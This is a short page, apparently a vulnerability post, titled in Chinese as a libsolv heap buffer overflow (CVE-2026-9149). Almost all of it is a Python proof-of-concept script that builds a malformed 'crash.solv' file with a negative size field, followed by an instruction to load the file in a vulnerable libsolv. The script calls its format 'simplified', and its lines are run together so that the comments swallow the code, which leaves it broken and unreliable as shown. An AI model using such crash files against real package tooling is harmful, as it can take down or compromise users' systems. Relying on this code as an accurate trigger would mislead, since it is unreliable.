CVE-2026-9149 libsolv堆缓冲区溢出漏洞

import struct # Proof of Concept for CVE-2026-9149 # This script generates a malformed .solv file with a negative size value. # Note: The actual .solv file format structure is simplified here for demonstration. def create_malformed_solv(filename): with open(filename, 'wb') as f: # .solv file header usually starts with magic bytes and specific format info # We simulate a header where a size field is set to a negative value # If the code reads this as a signed int and uses it for malloc, it causes issues. # Example Header Structure (Simplified) f.write(b'SOLV') # Magic bytes f.write(struct.pack('<I', 1)) # Format version # Simulate a repository entry with negative size # Normally this would be a positive integer representing payload size negative_size = -1 # 0xFFFFFFFF in 32-bit two's complement if interpreted as unsigned # Writing the negative size as if it were a valid length field # Depending on parsing logic (signed vs unsigned), this triggers the bug f.write(struct.pack('<i', negative_size)) # Write dummy padding to simulate file content f.write(b'A' * 100) if __name__ == "__main__": print("Generating malformed .solv file...") create_malformed_solv("crash.solv") print("File created: crash.solv") # Usage: Load this file with a vulnerable version of libsolv.